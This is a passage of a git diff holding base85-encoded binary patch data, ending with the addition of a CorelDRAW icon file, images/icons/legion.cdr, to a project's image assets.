zl%_@_L=K~E>Au08jOOQSXvn(#7ve#evjd5hus818i2ATQiJSy$X1o^n2b2m*$d&G> z7(EA!SqipN_xDYy7GMFi=<KU-OkZRg4y5)jN?9zdZ^QM!#5< zP{@2vBdIVKMS)Mfa1yxoHcf*m-_^4c=9p-cF;YwTmVcvjUqjE1mYtsNGf+vQl_FX` zfa?kMUve~r6TdtE1M(D8B78)fHXGvIn~@&|5!SuZXl{jm=z#ILzVaFBB%!5YBbkL$ zbW7U(+o^=vaY*iDB~jX?a4%5Yf78XIitQFdPFA&Rj`MQ(Uzc|YS7$~Jv9c~ye1RyF zGC^v@E3av%v+Zx(9P54VdJKai%f-H#DM-8}tfhNwF-m z0bHN9u(!q*13o^nN2?uRynO8;C|M?w{6+|<8!>k!jd-nT#*BnE{m1BpBOJqf z=e8O#VhGGiBFOu;H68keP|{-Oqx#HxACKG0qh!%1i3%~D-I^1uYvg2j^dq*hkp<6& zL zL_lH0kN&?e%2+l?sSJKadZvecxbfDy7R)WQhROc4>| zyLJqU|oEXwc1iXB**ka8+~fkAmyV(5=F2wd3!k7Zlfaj*98o z#-~|UPBHk{G){OtZ2PrL&&YA`shPry=7cmBg|E8(&Ofc~_`1HGn@2JAvQ#A7l>T9O zQqQU@wzsR5EW73~U^(Z--OTlUL5l2fM?}6N=@0riwc}Wq9Wl|OIRq?%*w00nJr2db zX7yaRBjgDL=Ssv)3~H`Dun*`vHfGtK+2l|@9gz;T`q8h`Ht06EdF;f$Z8h$giQV0s zY%)|j=?^(ZVqFUtoqs#hoYpFlD%4(YJ-$woU!f@Y>!(p0JtU&C6j=vMh^Lkj&a=`F zG>^H=Ouh9qLstFgkfJL`r~;w>Y9c~Xac@$+Y9tZ7&UjSBzhjtlOiD0)Xqg;S$mDW9 z{;SA<)_~rP&DlCGTzrvJ2zJZk zey)Bg=k{#p&YD?{yO}JnVwii0PPLd1s$F-az0C-(#wV5b?675A!Y?yBIpS#h-;eFt zrth7f^0^eXClj@|=KWUtIefnr=Fz+V!AIuG8|C!3IJ$a560zS9F~cM-0|DjDY2J`D zqFPxD(S_Zd7|7%?fYDn|e8wCC=D2B<&&l@%xYV(@e{`ebXf`oE2E()DU5xCaL*@#o z4&M2eTY$Mf?7OX&O%jaWKv9kc)ry%}K}4U5_7*g;BoE<{Pe}YWYK+*ntPlTgG7fv! zoQ8yxD9ax-N(yyH)Z^5?XOW>iC;Iw8pQVS z9j{K@z41?vP0#vhe@n45w8w4>K2F6}vlRZ-R2lw`yHu8HCnGT^y!OwJQKiUzrwnrS zpVN6KreVQ)Zi>ZMch-U3+ern`(*~U5D*9f_qUHQ?Djo5GqXa7pjB#q)f|9aX0a8x^ z+LaT0zDMPn9~N@+@wN0y_~kD#>x`t8UPTrZN|%Ikorn$Ivognt;~#p<#C#_r6pZGidQ!ClR`9Sk35*A1m$6i%R<)lU;(4Q2iKB zW*uJ;OO#+yPQZGKO{Ck;iJLFYIXgQO94Jd01WMq@n~fK!|GTgpKH}Zh?WP~)@<{?k{>rd!(_(e){g_z^0{ope=6F?Gxo1|6o zkQZHBua&oyRoRH5(mT|xgz;TCJiLCT%HHsV)X~KzduoJf&84N|Zb}v|c|K4@;f8R$ zcbhVAl_FCdJCW=Dm3lPpaE{zI0F{#c;}5_7E^wPh@o(qaKv_vb|1%6R<_%K~A2>61 z8$Ru%8$9^Y0QhrQej_M)3%oninsORz$?!u6Ejj=imncl+OJ>KA09w~5s! zZnPpVWac1=h{bq6{;03!>Z0Ct>0b4gOzC`t`TafSq<}LpmKFuMK@tb9l)*F3ZAsPi zc%x-Ai>M!HyQ~IIV#AByIf&*J1SSc{t}HQ)lZ#{2e_CvZ>j;oLy;xo4aa^Z*qzB7M zziEE4uaH{eG?5!JJ464!dxnXozo%Q%|Z*P-;o# zluvj1R!|`hKut(6*w^P=#wMAQRiVQx=*YFEDpm#hUl?-IcE_{W zz1sWqjiemqSy^blMuFa^f?;*?!h(<3=LQ@bEbOo@Ahv&cK$OIW2he~+nLm@_V#bPR zEz;T(6fx!&`!kVyS#O_b?*P?)nz~|3$tm#-Zoc614gzu@;qB(v65=V-Jt}yFUPb%T3z zsmibdy8GQrxp>MS7d@&g+T@n1Cz!;#E>^>hub)1e*6yK|7}HDnclJ9?WQHf`CFlwS z)1d2)Y($AJTf!%W9c_z8Bq8h%6?h~b(2|gLdbb4l%sMxub^_ISES(K{Yz7WXLPH88 zdFXp2iWB5Kr76y01c>0e$=PNCY3GiFVbJ4IsV7mrW!IPw-v;u3+&3Y{{;>W2UI%5q z;}ZgVl9Upb`Ubz!X9vdgH7SK_kMBst68~}HJakR|l!YQ))^h1`2^+b)Z4n%(k#8hj z*TLp&0RhLTj!SDD?wV%$SJs_6z%Gjn30_FrEvuxP-{|x-!oY)*o-dE3XbA%M&y(wh zOa@V2B%O6TyW&gnM(}8%L*MJoI-T&*XfFFICotdQ;^l-xD!bmsu!ZZhu;-5eotNm3 z58APj&`LqfC-6Zh@YRJ;y3lm!np=zeOH^in()o~qxr6o*e-;evmT?~c5KC3+-qG4$ z7x`@ZTW@};7QH9mLUep5g4fHJ14=Fcopi3dEF;l~eD=-v_*=%krw1j+vB|#ceL7#t z3`#TGh6DW}W@}7$a7BGd8ozLi30~`Ez*EQlI-@&jw4Nti(>~PSFNkH``xar#g7u?e z@5T@IyTu$*FbQ8>c99oXsH+1DVRXtCkdTZy#phm6Z}g_tp_)>UNFF$(WyBr22Ta=v zkMvU{=PflSjsCVr`H|tHp!h#<9POt^dLNEZL9G{%(P^CYLZ*ST*?`3`;iPg@5dIQ) z)c~oJAeDE|J7}vO6_kFgzQWttL%%lm()!H@>%=U6{k6c7Ts!(7>EW?bABECWPZDOD zjvpbhRADD%>kgc%6c0x8T%vgdH9oR5h)=Lq&jmkjb`@2G^*>hNXxsk4rbP7fbn%Qj zPmU)=p1KCiO$a!Yi>KE)<}blyG(PZmHmvgytAcDRza)vs8CB=Ep`OS3iT7gyh^X^d zV(sq3f%hrXUPNulUH6oB#3_IVvMn!J>U_sabQp<}nE8zj^Xzg2GvLDM-h*KVOQQ zag5SMYaTi6l`>p4F8IH^LjMpD zkC{5xkJx<=dHEGj5_rAa@(PpHFM%@7c$-l8l&)t)&pUtdB~oQxY$nT>oa6Wk*00=l ztk4s%8^U>=-OM^i`jxgbB?qpcfTU|rDfzlIO~HWkd^bDx&iAiMsXje?mo(%RBZi|x zKlnFDlvoyxn-U%oe|mIJ5`0tMxmwyK%aaE6+JPtSH>FrNNqdFm|B+kdC^B4_bWg7Vp`dKrgqiYZ{|NW8HTG26CcE}&o1`^KRO)HM8Vcbk9E6q`&$NVR8+)LBsj^H zx@efA_t3lv@H1p+3;IWll1SUu;R>ww##~RQ-!^2fHF@RG`Y~EiM6}@+TTHs`2zv@9 z8`0cTYPlU>Du@-@nLicX`|lwkJ*^hw z-a@7@{s{4TYjr^X_jf7Ro5%(Q@CIvXeqKRe@7T#j_}_~fb@lD{$$ z5S#Y>iGe3z+r-j-grqA){%&(lnGXoQMj6T?+tt!_+MSw{d-D0?+c7Eh2I`%Cb>#%H z>K~dy905Wo@IC7z%n}I=QReTS==RrV2;;2u>*-s9d>%v>3E0VbA8Ve8+y>X0zC(gBu0dda@5X;;yh>9H`KUk zJH(aGmqoA@wNhjW+)?3J?L77hqS@n}nb=7wPa!j&=ydo?q5mV}IH^dCyY|HXG}xvt zVE)2iXrRflJEv~;XYx@ihkBj~XsYFntFBP2amfkQ%B;tas*ulp!8^}+-^3WCGYvB* zEl-oPbJ<{Y^1HxK598JnbA7*uD=w}E*WGNayofiqv(sr~r^3ABL4=v*cooL>^B#7d zjI%VPDpN$$yrQa#us|&McJ=x#1*3#+v7-Y4i8RKJD1x#Dz1ZAI?#nd$#sA(2){!`c zEK@T)GOVB%Yz&hVSNGbn6*JY6XHH+sE@MHopKku;y7#8#SN-3R1v(bHlR3wB3m^M9 zk(w0^4!XLAxah z1@R!BwdObZ8w!|=+OExua~fICiwGTPHSn}!nZB+QlvYSZj0hKB4+cR9Ws-YuGBP_q zwFFJzD!f0yw+)>Ppqd8b#fBHNwvamUbWK$I$4hT5%5suT(H43Gt!UMazUU|hs)9}D z!CNPE#^Ov*l;c_aCp`vVbmIF;2{cDENyaEoQ`$!&()kZXT$vs2jk%R3L!+<3q6_l9 z{sV=E27gYIewCGEj2}U2T{9+2VOKIprgRbAypKq(1P3Og5V zJ9X~7;V$nCq4BceXQz*t5EC{s>tl(`VlPs%_{F#$hWA9`v(xC(^|yuB!1BSqiQjw% zz1H_+Rmj0>d&zlh@@t4muW%Pg9&0+%rMl+l*EgMZeiHqaRWnq&z?d&ojOw~5%9Ft# zrXRg9s)qxnkfV;a%otqON^BzcH^rELwbfg5*?6NcH$C?X3UGrv+c7Ts2)CC|G1L9E zYOuLccQn37Cx*+ZG5J1Zz{1M6drRqME`B`8JsHye4f((Xkie=+|IFyDXZ>Lb#Ds+gBHnfyeIVT2&SfS$Df5p`nT& za$CN32pIStISixDLytH*Llktvign4Rd>yfhX zkyII*&fou>50`vu0=t-+9lT6Hg!x7Uh&2pp)_tn$CjBJEerUn6oJh&@5j;~SnM7BA zR{zYj&y9}}N|JC(q`P^;dX$cHH|Ki$LC9(=w=wiPbNE(NU6&!$z+^&1_@C6H!yqe1 z`y*ACujT`4AiDA8rSW%lxG?`9H%i{{-~9I7M^35#w8iW?E^64*ox<2-cLb&j#hXH8u;6Ebo; z-s;cO(09X~nZ$Ju1>ezWk^IComZe@MV@hFz*5QS6gN#WZa5o zl?5Vy{6pJBX@2@oUnn@@5UiwgFZ`8cC2-B*p-+%d3ISqog@f|zukwVe<=)C=cDKxu zids}MXxM0tJW_ZOLL-kskX5+a!r>Z^BN`a^!{b0%6y0*P#1pS*wfG+;B&{T^>&^2X#|I}~husk`AM)U(-H zIR|}|b}e^@9lG56<@$nJmNWW5&zC#8WgEJZz~Reo*Lg0y+cj_Aor>?RgkJVgi?MSo zdz%KCb127bdO91i_wy}$1cJ&}ZDjMlBwr0kiyxjK%e?houV2DyYe~}}q(54)DnSt&y9n`Ux3$URz=dYy>&uJET%TOzZ+N8x|DoTpZ|g=y&mZ5M9zGSn!poCn z1|_CnajmJO7da!r6Ps)=+d53{jg98J>$vV*Q5T^aFY6Fok=-}Dh*^{kR)8?q1wxJy zBW`7x?z#8*b%;=@*`A52PbTx)Pgl0i4PBVe8Y243rNgti+c1+k>)vaw>&X?Pyg10w z!XbF^uHi;RFp1I}zmV125zk+8%6I1QP8Pg{__?{QIF6k#9j%V_=k_+v zqtbj|-??dKYIk0TA7+jo7ndFE$-0(@YGCa8%wWi8fvEa_LYj2*Qll$YTtN9%F8(?Q z>eMds!0eZPrMJiaZu8vEDqq^n3R|P^$}z&^_RILPN_6{Sn^&U!dA99qLb<2gibb3; zi6>3T(_$#cMtc;|XbQVZxCDiHgl(^AzCN-iv4>KkSE-2|*w5d`$!$FN9PqhcX5Il_ z0hMlp1eiIXfpC$RZA#JDbtA!N;AO#6hh9ctTJg!o1f!i#_}_1DCN!YaDTAzXtreST z04czj&NIo!um_pB-(!g4`>F-oa!G<5<~L)tj##IwRKy(?flpE)B(KRzaGoV5#Q{*U zN1%` zY-q=^Z7*+{lKIW*UcpWDVg0X!z9!*OME)LYg^Uycxs>Ft!j{EWpIO&6bLW$yWHp9$ zP-tKHF+yONzH8(GW-#+|(2Z1>K!u5mSmuu&zAcvg*Lb;$Z25;ccz(c;4MIi0cIqcc4=>*UvZk*g4&pm`mp{zazx#y;VOzV@Q( UQSm=}2!MELtLv-Psye*=KcV3K2LJ#7 literal 0 HcmV?d00001 diff --git a/images/icons/legion.cdr b/images/icons/legion.cdr new file mode 100644 index 0000000000000000000000000000000000000000..1d2882d106765d0737b1f85914359a8774314ecb GIT binary patch literal 346404 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%0Dda;kl=iN9sT-MT^UqTN7=u~aQV>)Yef4l#M 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 